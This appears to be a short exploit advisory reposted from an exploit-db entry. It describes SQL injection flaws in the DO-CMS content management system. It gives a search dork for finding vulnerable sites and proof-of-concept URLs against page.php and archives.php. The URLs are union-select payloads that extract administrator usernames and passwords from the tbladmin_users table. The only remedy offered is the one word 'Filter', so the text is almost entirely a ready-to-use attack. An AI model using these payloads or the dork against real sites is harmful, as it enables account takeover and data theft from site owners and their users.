SQL Injection Vulnerability and repair in DO-CMS

DO-CMS is a user-friendly Content Management System for Small and Medium-sized applications. Multiple SQL injection vulnerabilities in the DO-CMS may cause sensitive information leakage.

[+] Info:
~~~~~~~~~
DO-CMS Multiple SQL Injection Vulnerability

..:. Author: AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Script: http://www.do-cms.com/
..:. Dork: "Powered by DO-CMS"

[+] Poc:
~~~~~~~~~

Www.site.com/page.php? Pid = null [SQL]
Www.site.com/archives.php? Pid = null [SQL]

Www.site.com/page.php? Pid = null + and + 1 = 2 + union + select + concat (username, 0x3a, psword) + from + tbladmin_users
Www.site.com/archives.php? Pid = null + and + 1 = 2 + union + select + 1, 2, 3, concat (username, 0x3a, psword), 5, 6, 7, 8, 9, 10, 11 + from + tbladmin_users

[+] Reference:
~~~~~~~~~
Http://www.exploit-db.com/exploits/16256

 

Fix: Filter